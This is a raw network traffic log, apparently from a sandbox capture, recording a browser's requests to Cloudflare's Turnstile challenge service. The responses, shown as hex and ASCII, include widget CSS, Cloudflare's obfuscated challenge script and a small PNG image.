2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 68 31 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 2c Data Ascii: }.theme-dark h1{color:#fff}.theme-dark #challenge-error-title{color:#ffa299}.theme-dark #challenge-error-title a,.theme-dark #challenge-error-title a:link,.theme-dark #challenge-error-title a:visited{color:#bbb}.theme-dark #challenge-error-title a:active,
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 65 73 68 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 76 65 72 6c 61 79 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 3b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e 6b Data Ascii: esh-link:active,.theme-dark #timeout-refresh-link:focus,.theme-dark #timeout-refresh-link:hover{color:#949494}.theme-dark .overlay{border-color:#ffa299;color:#ffa299}.theme-dark .error-message,.theme-dark .error-message a,.theme-dark .error-message a:link
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 7d 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 34 70 78 20 34 70 78 20 30 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 35 70 78 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 77 69 64 Data Ascii: :checked~.cb-i{background-color:#fff;border-radius:5px;opacity:1;transform:rotate(0deg) scale(1)}.cb-lb input:checked~.cb-i:after{border:solid #c44d0e;border-radius:0;border-width:0 4px 4px 0;height:12px;left:5px;top:0;transform:rotate(45deg) scale(1);wid
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 20 73 70 61 63 65 2d 65 76 65 6e 6c 79 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 7b 6d 61 72 67 69 6e 3a 30 Data Ascii: ontent:center space-evenly;visibility:visible}.size-compact #expired-text,.size-compact #overrun-text,.size-compact #timeout-text{display:block}.size-compact #expired-refresh-link,.size-compact #timeout-refresh-link,.size-compact .error-message a{margin:0
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 74 65 72 6d 73 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 70 78 7d 23 74 65 72 6d 73 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2e 32 72 65 6d 7d 23 74 65 72 6d 73 20 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 74 65 72 6d 73 20 61 2c 23 74 65 72 6d 73 20 61 3a 6c 69 6e 6b 2c 23 74 65 72 6d 73 20 61 3a 76 69 73 69 74 65 64 7b 63 6f Data Ascii: {margin-left:0;margin-right:16px}#terms{color:#232323;display:inline-flex;font-size:8px;font-style:normal;justify-content:flex-end;line-height:10px}#terms .link-spacer{margin:0 .2rem}#terms a{display:inline-block}#terms a,#terms a:link,#terms a:visited{co

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:06 UTC	772	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=926f436978fddafc&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:06 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:06 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 124388 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 926f436c69288465-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 13:34:06 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 43 75 55 53 37 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 Data Ascii: window._cf_chl_opt.CuUS7={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsi
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 69 66 72 61 6d 65 5f 61 6c 74 22 3a 22 57 69 64 67 65 74 25 32 30 63 6f 6e 74 61 69 6e 69 6e 67 25 32 30 61 25 32 30 43 6c 6f 75 64 66 6c 61 72 65 25 32 30 73 65 63 75 72 69 74 79 25 32 30 63 68 61 6c 6c 65 6e 67 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 74 75 63 6b 25 32 30 68 65 72 65 25 33 46 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 Data Ascii: ","turnstile_expired":"Expired","turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","turnstile_overrun_description":"Stuck%20here%3F","testing_only":"Testing%20only.","not_embedded":"This%20challenge%20must%20be%20embedded
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 65 4d 2c 65 4e 2c 65 4f 2c 65 50 2c 65 51 2c 65 55 2c 65 56 2c 66 31 2c 66 32 2c 66 75 2c 66 78 2c 66 7a 2c 66 41 2c 66 42 2c 66 4e 2c 66 Data Ascii: 3C%2Fa%3E%20if%20the%20issue%20persists."},"polyfills":{"feedback_report_output_subtitle":false,"feedback_report_guideline":false,"feedback_report_aux_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eO,eP,eQ,eU,eV,f1,f2,fu,fx,fz,fA,fB,fN,f
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 5a 50 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 45 49 76 6a 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 68 7a 53 70 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 69 42 49 50 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 77 5a 76 52 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 71 4d 64 77 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 6b 58 51 4f 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 43 49 66 79 48 27 3a 66 75 6e 63 74 69 6f 6e 28 68 Data Ascii: ZPl':function(h,i){return h(i)},'EIvjt':function(h,i){return h>i},'hzSpt':function(h,i){return h-i},'iBIPm':function(h,i){return h<i},'wZvRN':function(h,i){return h\|i},'qMdwT':function(h,i){return h<<i},'kXQOx':function(h,i){return i&h},'CIfyH':function(h
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 3d 30 2c 49 3d 30 2c 4a 3d 30 3b 64 5b 67 4f 28 31 31 35 37 29 5d 28 4a 2c 69 5b 67 4f 28 37 31 35 29 5d 29 3b 4a 2b 3d 31 29 69 66 28 4b 3d 69 5b 67 4f 28 31 36 38 38 29 5d 28 4a 29 2c 4f 62 6a 65 63 74 5b 67 4f 28 39 34 30 29 5d 5b 67 4f 28 37 34 33 29 5d 5b 67 4f 28 31 34 31 39 29 5d 28 78 2c 4b 29 7c 7c 28 78 5b 4b 5d 3d 45 2b 2b 2c 42 5b 4b 5d 3d 21 30 29 2c 4c 3d 64 5b 67 4f 28 34 37 30 29 5d 28 43 2c 4b 29 2c 4f 62 6a 65 63 74 5b 67 4f 28 39 34 30 29 5d 5b 67 4f 28 37 34 33 29 5d 5b 67 4f 28 31 34 31 39 29 5d 28 78 2c 4c 29 29 43 3d 4c 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 67 4f 28 39 34 30 29 5d 5b 67 4f 28 37 34 33 29 5d 5b 67 4f 28 31 34 31 39 29 5d 28 42 2c 43 29 29 7b 69 66 28 64 5b 67 4f 28 31 35 36 31 29 5d 28 32 35 36 2c 43 5b 67 Data Ascii: =0,I=0,J=0;d[gO(1157)](J,i[gO(715)]);J+=1)if(K=i[gO(1688)](J),Object[gO(940)][gO(743)][gO(1419)](x,K)\|\|(x[K]=E++,B[K]=!0),L=d[gO(470)](C,K),Object[gO(940)][gO(743)][gO(1419)](x,L))C=L;else{if(Object[gO(940)][gO(743)][gO(1419)](B,C)){if(d[gO(1561)](256,C[g
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 4f 28 35 30 35 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 67 4f 28 31 34 30 36 29 5d 28 31 36 2c 73 29 3b 48 3d 64 5b 67 4f 28 31 35 39 36 29 5d 28 48 2c 31 29 7c 4d 26 31 2c 49 3d 3d 64 5b 67 4f 28 31 30 39 34 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 4f 28 38 35 34 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 2d 2d 2c 30 3d 3d 44 26 26 28 44 3d 4d 61 74 68 5b 67 4f 28 31 35 32 34 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 64 5b 67 4f 28 31 39 34 32 29 5d 28 73 2c 46 29 3b 48 3d 64 5b 67 4f 28 31 35 39 36 29 5d 28 48 2c 31 29 7c Data Ascii: )),H=0):I++,M=0,s++);for(M=C[gO(505)](0),s=0;d[gO(1406)](16,s);H=d[gO(1596)](H,1)\|M&1,I==d[gO(1094)](j,1)?(I=0,G[gO(854)](o(H)),H=0):I++,M>>=1,s++);}D--,0==D&&(D=Math[gO(1524)](2,F),F++),delete B[C]}else for(M=x[C],s=0;d[gO(1942)](s,F);H=d[gO(1596)](H,1)\|
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 52 28 31 35 32 34 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 64 5b 67 52 28 31 36 36 32 29 5d 28 46 2c 4b 29 3b 4e 3d 47 26 48 2c 48 3e 3e 3d 31 2c 64 5b 67 52 28 36 32 35 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 67 52 28 31 39 31 39 29 5d 28 30 3c 4e 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 4f 3d 64 5b 67 52 28 31 34 36 39 29 5d 28 65 2c 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4f 2c 44 5b 67 52 28 38 35 34 29 5d 28 4f 29 3b 3b 29 7b 69 66 28 64 5b 67 52 28 39 36 39 29 5d 28 49 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 52 28 31 35 32 34 29 5d 28 32 2c 43 29 Data Ascii: r(J=0,K=Math[gR(1524)](2,16),F=1;d[gR(1662)](F,K);N=G&H,H>>=1,d[gR(625)](0,H)&&(H=j,G=o(I++)),J\|=d[gR(1919)](0<N?1:0,F),F<<=1);O=d[gR(1469)](e,J);break;case 2:return''}for(E=s[3]=O,D[gR(854)](O);;){if(d[gR(969)](I,i))return'';for(J=0,K=Math[gR(1524)](2,C)
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 28 48 29 7d 2c 27 74 71 55 50 50 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 3d 48 7d 2c 27 6b 62 47 4d 49 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 3d 48 7d 2c 27 54 77 57 7a 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 2c 27 73 69 78 6a 74 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 50 63 6e 6f 44 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 2c 27 6f 6e 45 56 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 2c 27 59 46 5a 6a 51 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 Data Ascii: (H)},'tqUPP':function(G,H){return G===H},'kbGMI':function(G,H){return G===H},'TwWzK':function(G,H,I){return G(H,I)},'sixjt':function(G,H){return G+H},'PcnoD':function(G,H,I){return G(H,I)},'onEVZ':function(G,H,I){return G(H,I)},'YFZjQ':function(G,H){retur
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 73 2b 76 7d 2c 6b 3d 6a 2c 6c 3d 4f 62 6a 65 63 74 5b 67 59 28 36 38 39 29 5d 28 69 29 2c 6d 3d 30 3b 6b 5b 67 59 28 31 36 39 36 29 5d 28 6d 2c 6c 5b 67 59 28 37 31 35 29 5d 29 3b 6d 2b 2b 29 69 66 28 6e 3d 6c 5b 6d 5d 2c 6b 5b 67 59 28 31 31 38 39 29 5d 28 27 66 27 2c 6e 29 26 26 28 6e 3d 27 4e 27 29 2c 68 5b 6e 5d 29 7b 66 6f 72 28 6f 3d 30 3b 6b 5b 67 59 28 31 36 39 36 29 5d 28 6f 2c 69 5b 6c 5b 6d 5d 5d 5b 67 59 28 37 31 35 29 5d 29 3b 2d 31 3d 3d 3d 68 5b 6e 5d 5b 67 59 28 31 32 30 33 29 5d 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 26 26 28 65 56 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 7c 7c 68 5b 6e 5d 5b 67 59 28 38 35 34 29 5d 28 6b 5b 67 59 28 31 34 31 33 29 5d 28 27 6f 2e 27 2c 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 29 2c 6f 2b 2b 29 Data Ascii: {return s+v},k=j,l=Object[gY(689)](i),m=0;k[gY(1696)](m,l[gY(715)]);m++)if(n=l[m],k[gY(1189)]('f',n)&&(n='N'),h[n]){for(o=0;k[gY(1696)](o,i[l[m]][gY(715)]);-1===h[n][gY(1203)](i[l[m]][o])&&(eV(i[l[m]][o])\|\|h[n][gY(854)](k[gY(1413)]('o.',i[l[m]][o]))),o++)
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 61 73 65 27 30 27 3a 6f 3d 28 6e 3d 7b 7d 2c 6e 5b 68 4c 28 35 35 36 29 5d 3d 65 4d 5b 68 4c 28 31 36 33 34 29 5d 5b 68 4c 28 35 35 36 29 5d 2c 6e 5b 68 4c 28 31 32 34 37 29 5d 3d 65 4d 5b 68 4c 28 31 36 33 34 29 5d 5b 68 4c 28 31 32 34 37 29 5d 2c 6e 5b 68 4c 28 31 39 35 34 29 5d 3d 65 4d 5b 68 4c 28 31 36 33 34 29 5d 5b 68 4c 28 31 39 35 34 29 5d 2c 6e 5b 68 4c 28 37 30 38 29 5d 3d 65 4d 5b 68 4c 28 31 36 33 34 29 5d 5b 68 4c 28 39 31 30 29 5d 2c 6e 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 73 3d 66 73 28 67 5b 68 4c 28 31 39 30 37 29 5d 2c 67 5b 68 4c 28 31 38 36 39 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 76 3d 6b 5b 68 4c 28 37 35 34 29 5d 28 6b 5b 68 4c 28 31 31 34 31 29 5d 28 6b 5b 68 4c 28 37 35 34 29 5d 28 68 Data Ascii: ase'0':o=(n={},n[hL(556)]=eM[hL(1634)][hL(556)],n[hL(1247)]=eM[hL(1634)][hL(1247)],n[hL(1954)]=eM[hL(1634)][hL(1954)],n[hL(708)]=eM[hL(1634)][hL(910)],n);continue;case'1':s=fs(g[hL(1907)],g[hL(1869)]);continue;case'2':v=k[hL(754)](k[hL(1141)](k[hL(754)](h

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:06 UTC	784	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:06 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:06 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 926f436c6c0cd911-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 13:34:06 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:07 UTC	425	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:07 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:07 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 926f436f7cc3be82-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 13:34:07 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:07 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1971676144:1743078521:yATuNMM-PO2DVklHOFFLOmvKIKC6nAWHobCLEURgP0c/926f436978fddafc/RhI8rx38r9.zQfgvGMbev5wUMS_k_JyPhMuIsJZiev0-1743082446-1.1.1.1-6_ii.sQgQCqsFBY09NZaXNLW5ZF280UKllrAvP3rotIWd7Vx.zl91fVe5otwSsdL HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3391 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: RhI8rx38r9.zQfgvGMbev5wUMS_k_JyPhMuIsJZiev0-1743082446-1.1.1.1-6_ii.sQgQCqsFBY09NZaXNLW5ZF280UKllrAvP3rotIWd7Vx.zl91fVe5otwSsdL cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
